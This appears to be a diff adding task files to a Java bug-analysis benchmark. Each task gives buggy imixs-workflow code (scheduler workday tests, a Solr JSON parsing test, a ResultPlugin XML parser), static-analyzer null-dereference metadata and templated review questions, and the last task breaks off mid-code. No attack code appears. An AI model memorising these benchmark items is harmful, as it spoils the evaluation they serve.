+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+af41216f816ba0f538f5d034da127127
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7173/instruction.md b/inferredbugs-7173/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..36be107f5910d0844b68e86e974b5790a0623b4d
--- /dev/null
+++ b/inferredbugs-7173/instruction.md
@@ -0,0 +1,350 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** imixs-workflow
+**Bug ID:** 50
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.imixs.workflow.engine;
+
+import java.util.Calendar;
+import java.util.Date;
+
+import org.imixs.workflow.ItemCollection;
+import org.imixs.workflow.engine.WorkflowSchedulerService;
+import org.imixs.workflow.exceptions.AccessDeniedException;
+import org.imixs.workflow.exceptions.PluginException;
+import org.imixs.workflow.exceptions.ProcessingErrorException;
+import org.junit.Before;
+import org.junit.Test;
+
+import junit.framework.Assert;
+
+/**
+ * Test class for WorkflowSchedulerService
+ * 
+ * This test verifies if the inDue methods workItemInDue() and addWorkDays()
+ * 
+ * @author rsoika
+ */
+public class TestWorkflowScheduler {
+
+	@Before
+	public void setup() throws PluginException {
+
+	}
+
+	/**
+	 * This test the date compare base on $lastProcessingDate in days
+	 * 
+	 * @throws ProcessingErrorException
+	 * @throws AccessDeniedException
+	 * 
+	 */
+	@Test
+	public void testDaysOnLastProcess() throws AccessDeniedException, ProcessingErrorException, PluginException {
+
+		ItemCollection doc = new ItemCollection();
+		ItemCollection activity = new ItemCollection();
+
+		// delay unit = days
+		activity.replaceItemValue("keyActivityDelayUnit", "3");
+		// compare type = last process
+		activity.replaceItemValue("keyScheduledBaseObject", "1");
+		// delay
+		activity.replaceItemValue("numActivityDelay", 10);
+
+		Calendar workitemCal = Calendar.getInstance();
+		workitemCal.setTime(new Date());
+		// adjust -14
+		workitemCal.add(Calendar.DAY_OF_MONTH, -14);
+		// prepare doc
+		doc.replaceItemValue("$lastProcessingDate", workitemCal.getTime());
+		Assert.assertTrue(WorkflowSchedulerService.workItemInDue(doc, activity));
+
+		// delay
+		activity.replaceItemValue("numActivityDelay", 15);
+		workitemCal.setTime(new Date());
+		// adjust -14
+		workitemCal.add(Calendar.DAY_OF_MONTH, -14);
+		// prepare doc
+		doc.replaceItemValue("$lastProcessingDate", workitemCal.getTime());
+		Assert.assertFalse(WorkflowSchedulerService.workItemInDue(doc, activity));
+
+	}
+
+	
+	
+
+	/**
+	 * This method tests the addWorkDays function in a weekday movement from
+	 * Monday to Fiday
+	 */
+	@Test
+	public void testAddWorkdaysFromMonday() {
+
+		Calendar startDate = Calendar.getInstance();
+		// adjust to FRIDAY
+		startDate.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY);
+		System.out.println("Startdate=" + startDate.getTime());
+
+		
+		Assert.assertEquals(Calendar.TUESDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 1).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.WEDNESDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 2).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 4).get(Calendar.DAY_OF_WEEK));
+	
+	
+		Assert.assertEquals(Calendar.MONDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 5).get(Calendar.DAY_OF_WEEK));
+		
+		
+		
+		
+		
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 9).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.MONDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 10).get(Calendar.DAY_OF_WEEK));
+
+	}
+
+
+	/**
+	 * This method tests the addWorkDays function in a weekday movement from
+	 * Friday back to Monday
+	 */
+	@Test
+	public void testAddWorkdaysFromFriday() {
+	
+		Calendar startDate = Calendar.getInstance();
+		// adjust to FRIDAY
+		startDate.set(Calendar.DAY_OF_WEEK, Calendar.FRIDAY);
+		System.out.println("Startdate=" + startDate.getTime());
+	
+		// adjust -3 Workdays -> THUSEDAY
+		Assert.assertEquals(Calendar.TUESDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 2).get(Calendar.DAY_OF_WEEK));
+	
+		Assert.assertEquals(Calendar.WEDNESDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 8).get(Calendar.DAY_OF_WEEK));
+	
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 10).get(Calendar.DAY_OF_WEEK));
+	
+		Assert.assertEquals(Calendar.THURSDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 14).get(Calendar.DAY_OF_WEEK));
+	
+	}
+
+	/**
+	 * This method tests the addWorkDays function in a weekday movement from
+	 * Friday back to Monday
+	 */
+	@Test
+	public void testMinusWorkdaysFromFriday() {
+
+		Calendar startDate = Calendar.getInstance();
+		// adjust to FRIDAY
+		startDate.set(Calendar.DAY_OF_WEEK, Calendar.FRIDAY);
+		System.out.println("Startdate=" + startDate.getTime());
+
+		// adjust -3 Workdays -> THUSEDAY
+		Assert.assertEquals(Calendar.THURSDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -1).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.WEDNESDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -2).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.MONDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -4).get(Calendar.DAY_OF_WEEK));
+		// friday - 5
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -5).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.MONDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -9).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -10).get(Calendar.DAY_OF_WEEK));
+
+	}
+	
+	
+	/**
+	 * This method tests the addWorkDays function in a weekday movement from
+	 * Friday back to Monday
+	 */
+	@Test
+	public void testMinusWorkdaysFromMonday() {
+
+		Calendar startDate = Calendar.getInstance();
+		// adjust to FRIDAY
+		startDate.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY);
+		System.out.println("Startdate=" + startDate.getTime());
+
+		// adjust -3 Workdays -> THUSEDAY
+		Assert.assertEquals(Calendar.THURSDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -2).get(Calendar.DAY_OF_WEEK));
+
+	}
+	
+	
+	
+	/**
+	 * This method tests the addWorkDays function in a weekday movement from
+	 * SATURDAY backwards
+	 */
+	@Test
+	public void testMinusWorkdaysFromSaturday() {
+
+		Calendar startDate = Calendar.getInstance();
+		// adjust to SATURDAY
+		startDate.set(Calendar.DAY_OF_WEEK, Calendar.SATURDAY);
+		System.out.println("Startdate=" + startDate.getTime());
+
+		// adjust -1 Workdays -> THURSDAY
+		Assert.assertEquals(Calendar.THURSDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -1).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -5).get(Calendar.DAY_OF_WEEK));
+
+	}
+	
+	
+	/**
+	 * This method tests the addWorkDays function in a weekday movement from
+	 * SATURDAY forwards
+	 */
+	@Test
+	public void testAddWorkdaysFromSaturday() {
+
+		Calendar startDate = Calendar.getInstance();
+		// adjust to SATURDAY
+		startDate.set(Calendar.DAY_OF_WEEK, Calendar.SATURDAY);
+		System.out.println("Startdate=" + startDate.getTime());
+
+		// adjust -1 Workdays -> TUESDAY
+		Assert.assertEquals(Calendar.TUESDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 1).get(Calendar.DAY_OF_WEEK));
+
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 4).get(Calendar.DAY_OF_WEEK));
+
+		
+		Assert.assertEquals(Calendar.MONDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 5).get(Calendar.DAY_OF_WEEK));
+
+	}
+
+	/**
+	 * This method tests the addWorkDays function in a weekday movement from
+	 * SUNDAY backwards
+	 */
+	@Test
+	public void testMinusWorkdaysFromSunday() {
+
+		Calendar startDate = Calendar.getInstance();
+		// adjust to SATURDAY
+		startDate.set(Calendar.DAY_OF_WEEK, Calendar.SUNDAY);
+		System.out.println("Startdate=" + startDate.getTime());
+
+		// adjust -1 Workdays -> THURSDAY
+		Assert.assertEquals(Calendar.THURSDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -1).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -5).get(Calendar.DAY_OF_WEEK));
+
+	}
+	
+	/**
+	 * This method tests the addWorkDays function in a weekday movement from
+	 * SUNDAY forwards
+	 */
+	@Test
+	public void testAddWorkdaysFromSunday() {
+
+		Calendar startDate = Calendar.getInstance();
+		// adjust to SATURDAY
+		startDate.set(Calendar.DAY_OF_WEEK, Calendar.SUNDAY);
+		System.out.println("Startdate=" + startDate.getTime());
+
+		// adjust -1 Workdays -> TUESDAY
+		Assert.assertEquals(Calendar.TUESDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 1).get(Calendar.DAY_OF_WEEK));
+	
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 4).get(Calendar.DAY_OF_WEEK));
+
+		
+		Assert.assertEquals(Calendar.MONDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 5).get(Calendar.DAY_OF_WEEK));
+
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `addWorkDays(startDate,1)` could be null and is dereferenced at line 265.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestWorkflowScheduler.testAddWorkdaysFromSunday()
+
+### Procedure Id:
+org.imixs.workflow.engine.TestWorkflowScheduler.testAddWorkdaysFromSunday():void.900835c6e532cdd4c8e6ee3ff783f4bc
+
+### File:
+imixs-workflow-engine/src/test/java/org/imixs/workflow/engine/TestWorkflowScheduler.java
+
+### Key:
+TestWorkflowScheduler.java|testAddWorkdaysFromSunday|NULL_DEREFERENCE
+
+### Node Key:
+15891b12c6ce50257e480adc810587ae
+
+### Hash:
+a88a2f47b3fa29cb3af9e344553442f6
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7180/instruction.md b/inferredbugs-7180/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..38853d408a6a0f12d5fcb3908526c2c2fa96f940
--- /dev/null
+++ b/inferredbugs-7180/instruction.md
@@ -0,0 +1,157 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** imixs-workflow
+**Bug ID:** 60
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.imixs.workflow.engine.solr;
+
+import java.util.List;
+import java.util.logging.Logger;
+
+import org.imixs.workflow.ItemCollection;
+import org.imixs.workflow.exceptions.ModelException;
+import org.imixs.workflow.exceptions.PluginException;
+import org.junit.Before;
+import org.junit.Test;
+
+import junit.framework.Assert;
+
+/**
+ * Test the WorkflowService method parseJSONQueyResult from SolrSerachService
+ * 
+ * @author rsoika
+ * 
+ */
+public class TestParseSolrJSONResult {
+		
+	
+	@SuppressWarnings("unused")
+	private final static Logger logger = Logger.getLogger(TestParseSolrJSONResult.class.getName());
+
+	SolrSearchService solrSearchService=null;
+
+	@Before
+	public void setUp() throws PluginException, ModelException {
+		 solrSearchService=new SolrSearchService();
+	}
+	
+
+	/**
+	 * Test 
+	 * 
+	 */
+	@Test
+	public void testParseResult() {
+		List<ItemCollection> result=null;
+		String testString = "{\n" + 
+				"  \"responseHeader\":{\n" + 
+				"    \"status\":0,\n" + 
+				"    \"QTime\":4,\n" + 
+				"    \"params\":{\n" + 
+				"      \"q\":\"*:*\",\n" + 
+				"      \"_\":\"1567286252995\"}},\n" + 
+				"  \"response\":{\"numFound\":2,\"start\":0,\"docs\":[\n" + 
+				"      {\n" + 
+				"        \"type\":[\"model\"],\n" + 
+				"        \"id\":\"3a182d18-33d9-4951-8970-d9eaf9d337ff\",\n" + 
+				"        \"_modified\":[20190831211617],\n" + 
+				"        \"_created\":[20190831211617],\n" + 
+				"        \"_version_\":1643418672068296704},\n" + 
+				"      {\n" + 
+				"        \"type\":[\"adminp\"],\n" + 
+				"        \"id\":\"60825929-4d7d-4346-9333-afd7dbfca457\",\n" + 
+				"        \"_modified\":[20190831211618],\n" + 
+				"        \"_created\":[20190831211618],\n" + 
+				"        \"_version_\":1643418672172105728}]\n" + 
+				"  }}";
+		
+		
+		
+		result=solrSearchService.parseQueryResult(testString);
+		Assert.assertEquals(2,result.size());
+		
+		ItemCollection document=null;
+
+		document=result.get(0);
+		Assert.assertEquals("model", document.getItemValueString("type"));
+		Assert.assertEquals("3a182d18-33d9-4951-8970-d9eaf9d337ff", document.getItemValueString("id"));
+		Assert.assertEquals(1567278977000l, document.getItemValueDate("_modified").getTime());
+		Assert.assertEquals(1567278977000l, document.getItemValueDate("_created").getTime());
+		
+		document=result.get(1);
+		Assert.assertEquals("adminp", document.getItemValueString("type"));
+		Assert.assertEquals("60825929-4d7d-4346-9333-afd7dbfca457",document.getItemValueString("id"));
+		Assert.assertEquals(1567278978000l, document.getItemValueDate("_created").getTime());
+		
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `document.getItemValueDate("_created")` could be null and is dereferenced at line 79.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestParseSolrJSONResult.testParseResult()
+
+### Procedure Id:
+org.imixs.workflow.engine.solr.TestParseSolrJSONResult.testParseResult():void.8bca95ae8d3576765b27ffb7c2dae7ea
+
+### File:
+imixs-workflow-index-solr/src/test/java/org/imixs/workflow/engine/solr/TestParseSolrJSONResult.java
+
+### Key:
+TestParseSolrJSONResult.java|testParseResult|NULL_DEREFERENCE
+
+### Node Key:
+aa66545b443e053e1949db82c636558b
+
+### Hash:
+3e0701326dca08fd3b27a3355297ca09
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7187/instruction.md b/inferredbugs-7187/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..139a9fe8676c290f8700c0d1328b76ed58798972
--- /dev/null
+++ b/inferredbugs-7187/instruction.md
@@ -0,0 +1,549 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** imixs-workflow
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*******************************************************************************
+ *  Imixs Workflow 
+ *  Copyright (C) 2001, 2011 Imixs Software Solutions GmbH,  
+ *  http://www.imixs.com
+ *  
+ *  This program is free software; you can redistribute it and/or 
+ *  modify it under the terms of the GNU General Public License 
+ *  as published by the Free Software Foundation; either version 2 
+ *  of the License, or (at your option) any later version.
+ *  
+ *  This program is distributed in the hope that it will be useful, 
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of 
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 
+ *  General Public License for more details.
+ *  
+ *  You can receive a copy of the GNU General Public
+ *  License at http://www.gnu.org/licenses/gpl.html
+ *  
+ *  Project: 
+ *  	http://www.imixs.org
+ *  	http://java.net/projects/imixs-workflow
+ *  
+ *  Contributors:  
+ *  	Imixs Software Solutions GmbH - initial API and implementation
+ *  	Ralph Soika - Software Developer
+ *******************************************************************************/
+
+package org.imixs.workflow.plugins;
+
+import java.io.IOException;
+import java.io.StringReader;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.logging.Logger;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import javax.xml.parsers.ParserConfigurationException;
+
+import org.imixs.workflow.ItemCollection;
+import org.imixs.workflow.Plugin;
+import org.imixs.workflow.exceptions.PluginException;
+import org.w3c.dom.Document;
+import org.w3c.dom.DocumentFragment;
+import org.w3c.dom.Element;
+import org.w3c.dom.Node;
+import org.w3c.dom.NodeList;
+import org.xml.sax.InputSource;
+import org.xml.sax.SAXException;
+
+/**
+ * This Plug-In evaluates the result message provided by the Activity property
+ * 'txtActivityResult'. The value will be parsed for the xml tag 'item'
+ * 
+ * <code>
+ * 		<item name="fieldname">value</item> 
+ * </code>
+ * 
+ * The provided value will be assigend to the named property. The value can also
+ * be evaluated with the tag 'itemValue'
+ * 
+ * <code>
+ *   <item name="fieldname"><itemvalue>namCreator</itemvalue></item> 
+ * </code>
+ * 
+ * 
+ * The final result will be stored into the attribute
+ * "txtworkflowresultmessage".
+ * 
+ * This field could be used by an application to display individual messages
+ * (e.g HTML Code) or return result Strings (e.g. JSF Action Results)
+ * 
+ * @author Ralph Soika
+ * @version 1.0
+ * @see org.imixs.workflow.WorkflowManager
+ * 
+ */
+public class ResultPlugin extends AbstractPlugin {
+
+	public static final String INVALID_FORMAT = "INVALID_FORMAT";
+
+	ItemCollection documentContext;
+	String sActivityResult;
+	private static Logger logger = Logger.getLogger(ResultPlugin.class.getName());
+
+	public int run(ItemCollection adocumentContext, ItemCollection adocumentActivity) throws PluginException {
+		documentContext = adocumentContext;
+		// evaluate new items....
+		ItemCollection evalItemCollection = new ItemCollection();
+		evalItemCollection=adocumentContext=evaluateWorkflowResult(adocumentActivity,documentContext);
+		// copy values
+		documentContext.replaceAllItems(evalItemCollection.getAllItems());
+		return Plugin.PLUGIN_OK;
+	}
+
+	public void close(int status) throws PluginException {
+		try {
+			// restore changes?
+			if (status < Plugin.PLUGIN_ERROR) {
+				documentContext.replaceItemValue("txtworkflowresultmessage", sActivityResult);
+			}
+		} catch (Exception e) {
+			System.out.println("[ResultPlugin] Error close(): " + e.toString());
+
+		}
+	}
+
+	/**
+	 * This method evaluates the given activityEntiy and returns a new
+	 * ItemCollection containing all items defined by the activity property
+	 * 'txtActivityResult'.
+	 * 
+	 * @see method evaluate(String aString, ItemCollection documentContext)
+	 * @throws PluginException
+	 * 
+	 */
+	@Deprecated
+	private static ItemCollection evaluate(ItemCollection activityEntity, ItemCollection documentContext)
+			throws PluginException {
+
+		String sResult = activityEntity.getItemValueString("txtActivityResult");
+		// replace dynamic values
+		sResult = new ResultPlugin().replaceDynamicValues(sResult, documentContext);
+
+		ItemCollection evalItemCollection = new ItemCollection();
+		ResultPlugin.evaluate(sResult, evalItemCollection);
+
+		return evalItemCollection;
+	}
+
+	/**
+	 * This method parses a string for xml tag <item>. Those tags will result in
+	 * new workitem properties.
+	 * 
+	 * <code>
+	 *   <item name="txtTitle">new Title</item>
+	 * </code>
+	 * 
+	 * If an item with the same name exits multiple times the method creates a
+	 * multivalue item
+	 * 
+	 * Additional the attribute 'type' can be provided to specify a field type
+	 * 'boolean', 'string', 'integer'
+	 * 
+	 * The item will be added into the given documentContext.
+	 * 
+	 * If the item name starts with $ it will be ignored!
+	 * 
+	 * Also ' will be replaced with " in attribute name
+	 * 
+	 * @throws PluginException
+	 * 
+	 */
+	@SuppressWarnings("unchecked")
+	@Deprecated
+	private static void evaluate(String aString, ItemCollection documentContext) throws PluginException {
+
+		List<String> mulitValueItemNames = new ArrayList<String>();
+		int iTagStartPos;
+		int iTagEndPos;
+
+		int iContentStartPos;
+		int iContentEndPos;
+
+		int iNameStartPos;
+		int iNameEndPos;
+
+		int iTypeStartPos;
+		int iTypeEndPos;
+
+		String sName = "";
+		String sType = " ";
+		String sItemValue;
+
+		if (aString == null)
+			return;
+
+		// test if a <value> tag exists...
+		while ((iTagStartPos = aString.toLowerCase().indexOf("<item")) != -1) {
+
+			iTagEndPos = aString.toLowerCase().indexOf("</item>", iTagStartPos);
+
+			// if no end tag found return string unchanged...
+			if (iTagEndPos == -1)
+				throw new PluginException(ResultPlugin.class.getSimpleName(), INVALID_FORMAT, "</item>  expected!");
+
+			// reset pos vars
+			iContentStartPos = 0;
+			iContentEndPos = 0;
+			iNameStartPos = 0;
+			iNameEndPos = 0;
+			iTypeStartPos = 0;
+			iTypeEndPos = 0;
+			sName = "";
+			sType = " ";
+			sItemValue = "";
+
+			// so we now search the beginning of the tag content
+			iContentEndPos = iTagEndPos;
+			// start pos is the last > before the iContentEndPos
+			String sTestString = aString.substring(0, iContentEndPos);
+			iContentStartPos = sTestString.indexOf('>') + 1;
+
+			// if no end tag found return string unchanged...
+			if (iContentStartPos >= iContentEndPos)
+				return;
+
+			iTagEndPos = iTagEndPos + "</item>".length();
+
+			// now we have the start and end position of a tag and also the
+			// start and end pos of the value
+
+			// next we check if the start tag contains a 'name' attribute
+			iNameStartPos = aString.toLowerCase().indexOf("name=", iTagStartPos);
+			// extract format string if available
+			// ' can be used instead of " chars!
+			// e.g.: name='txtName'> or name="txtName">
+			if (iNameStartPos > -1 && iNameStartPos < iContentStartPos) {
+				// replace ' with " before content start pos
+				String sNamePart = aString.substring(0, iContentStartPos);
+				sNamePart = sNamePart.replace("'", "\"");
+				iNameStartPos = sNamePart.indexOf("\"", iNameStartPos) + 1;
+				iNameEndPos = sNamePart.indexOf("\"", iNameStartPos + 1);
+				sName = sNamePart.substring(iNameStartPos, iNameEndPos);
+			}
+
+			// next we check if the start tag contains a 'type'
+			// attribute
+			iTypeStartPos = aString.toLowerCase().indexOf("type=", iTagStartPos);
+			// extract format string if available
+			if (iTypeStartPos > -1 && iTypeStartPos < iContentStartPos) {
+				String sTypePart = aString.substring(0, iContentStartPos);
+				sTypePart = sTypePart.replace("'", "\"");
+
+				iTypeStartPos = sTypePart.indexOf("\"", iTypeStartPos) + 1;
+				iTypeEndPos = sTypePart.indexOf("\"", iTypeStartPos + 1);
+				sType = sTypePart.substring(iTypeStartPos, iTypeEndPos);
+			}
+
+			// extract Item Value
+			sItemValue = aString.substring(iContentStartPos, iContentEndPos);
+
+			// replace the item value
+			if (sName != null && !"".equals(sName)) {
+				// ignore case sensetive names
+				sName = sName.toLowerCase();
+
+				// if itemname starts with $ it will be ignored
+				if (sName.startsWith("$")) {
+					logger.warning("ResultPlugin - item '" + sName + "' update not allowed!");
+				} else {
+					// convert to type...
+					Object oValue = sItemValue;
+					if ("boolean".equalsIgnoreCase(sType)) {
+						oValue = Boolean.valueOf(sItemValue);
+					}
+					if ("integer".equalsIgnoreCase(sType)) {
+						oValue = new Integer(sItemValue);
+					}
+
+					// test if item was already computed before
+
+					if (!mulitValueItemNames.contains(sName)) {
+						documentContext.replaceItemValue(sName, oValue);
+						mulitValueItemNames.add(sName);
+					} else {
+						// item was processed before so we add the value into a
+						// multivalue list
+						List<Object> values = documentContext.getItemValue(sName);
+						values.add(oValue);
+						documentContext.replaceItemValue(sName, values);
+					}
+				}
+			}
+
+			// now cut the tag form the string
+			aString = aString.substring(0, iTagStartPos) + "" + aString.substring(iTagEndPos);
+		}
+
+	}
+
+	/**
+	 * This method parses the xml content of a item element and returns a new
+	 * ItemCollection containing all item values. Each tag is evaluated as the
+	 * item name.
+	 * 
+	 * MultiValues are currently not supported
+	 * 
+	 * Example:
+	 * 
+	 * <code>
+	  
+				<modelversion>1.0.0</modelversion>
+				<processid>1000</processid>
+				<activityid>10</activityid>
+				<items>namTeam</items>
+	  
+	 * </code>
+	 * 
+	 * @param evalItemCollection
+	 * @throws PluginException
+	 */
+	public static ItemCollection parseItemStructure(String xmlContent) throws PluginException {
+		logger.fine("Evaluate Subprocess Item...");
+
+		ItemCollection result = new ItemCollection();
+		if (xmlContent.length() > 0) {
+			// surround with a root element
+			xmlContent = "<item>" + xmlContent.trim() + "</item>";
+			try {
+
+				// parse item list...
+				DocumentBuilder documentBuilder = DocumentBuilderFactory.newInstance().newDocumentBuilder();
+				Document doc = documentBuilder.parse(new InputSource(new StringReader(xmlContent)));
+				Node node = doc.importNode(doc.getDocumentElement(), true);
+				DocumentFragment docfrag = doc.createDocumentFragment();
+				while (node.hasChildNodes()) {
+					docfrag.appendChild(node.removeChild(node.getFirstChild()));
+				}
+
+				// append all items into the evalItemCollection...
+				NodeList childs = docfrag.getChildNodes();
+				int itemCount = childs.getLength();
+				for (int i = 0; i < itemCount; i++) {
+					Node childNode = childs.item(i);
+					if (childNode instanceof Element && childNode.getFirstChild() != null) {
+						String name = childNode.getNodeName();
+						String value = childNode.getFirstChild().getNodeValue();
+						result.replaceItemValue(name, value);
+						logger.fine("[ResultPlugin] parsing item '" + name + "' value=" + value);
+					}
+				}
+
+			} catch (ParserConfigurationException e) {
+				throw new PluginException(RulePlugin.class.getName(), INVALID_FORMAT,
+						"Parsing item content failed: " + e.getMessage());
+
+			} catch (SAXException e) {
+				throw new PluginException(RulePlugin.class.getName(), INVALID_FORMAT,
+						"Parsing item content failed: " + e.getMessage());
+
+			} catch (IOException e) {
+				throw new PluginException(RulePlugin.class.getName(), INVALID_FORMAT,
+						"Parsing item content failed: " + e.getMessage());
+
+			}
+		}
+
+		return result;
+	}
+
+	/**
+	 * The method evaluates the WorkflowResult for a given activityEntity and
+	 * returns a ItemColleciton containing all item definitions. Each item
+	 * definition of a WorkflowResult contains a name and a optional list of
+	 * additional attributes. The method generates a item for each content
+	 * element and attribute value. <br>
+	 * e.g. <item name="comment" ignore="true">text</item> <br>
+	 * will result in the attributes 'comment' with value 'text' and
+	 * 'comment.ignore' with the value 'true'
+	 * 
+	 * 
+	 * @see http://ganeshtiwaridotcomdotnp.blogspot.de/2011/12/htmlxml-tag-
+	 *      parsing-using-regex-in-java.html
+	 * @param activityEntity
+	 * @param documentContext
+	 * @return
+	 * @throws PluginException
+	 */
+	public static ItemCollection evaluateWorkflowResult(ItemCollection activityEntity,ItemCollection documentContext)
+			throws PluginException {
+
+		boolean invalidPattern = true;
+
+		ItemCollection result = new ItemCollection();
+		String workflowResult = activityEntity.getItemValueString("txtActivityResult");
+		if (workflowResult.isEmpty()) {
+			return null;
+		}
+		// replace dynamic values
+		workflowResult = new ResultPlugin().replaceDynamicValues(workflowResult, documentContext);
+
+		// extract all <item> tags with attributes using regex (including empty
+		// item tags)
+		Pattern pattern = Pattern.compile("<item(.*?)>(.*?)</item>|<item(.*?)./>");
+		Matcher matcher = pattern.matcher(workflowResult);
+		while (matcher.find()) {
+			invalidPattern = false;
+			// we expect up to 3 different result groups
+
+			// group 0 contains complete item string
+			String attributes = matcher.group(1);
+			String content = matcher.group(2);
+
+			// test if empty tag (group 1 and 2 empty)
+			if (attributes == null || content == null) {
+				attributes = matcher.group(3);
+			}
+
+			if (content == null) {
+				content = "";
+			}
+
+			// now extract the attributes to verify the item name..
+			if (attributes != null && !attributes.isEmpty()) {
+				// parse attributes...
+				String spattern = "(\\S+)=[\"']?((?:.(?![\"']?\\s+(?:\\S+)=|[>\"']))+.)[\"']?";
+				Pattern attributePattern = Pattern.compile(spattern);
+				Matcher attributeMatcher = attributePattern.matcher(attributes);
+				Map<String, String> attrMap = new HashMap<String, String>();
+				while (attributeMatcher.find()) {
+					String attrName = attributeMatcher.group(1); // name
+					String attrValue = attributeMatcher.group(2); // value
+					attrMap.put(attrName, attrValue);
+				}
+
+				String itemName = attrMap.get("name");
+				if (itemName == null) {
+					throw new PluginException(ResultPlugin.class.getSimpleName(), INVALID_FORMAT,
+							"<item> tag contains no name attribute.");
+				}
+
+				if (itemName.startsWith("$")) {
+					throw new PluginException(ResultPlugin.class.getSimpleName(), INVALID_FORMAT,
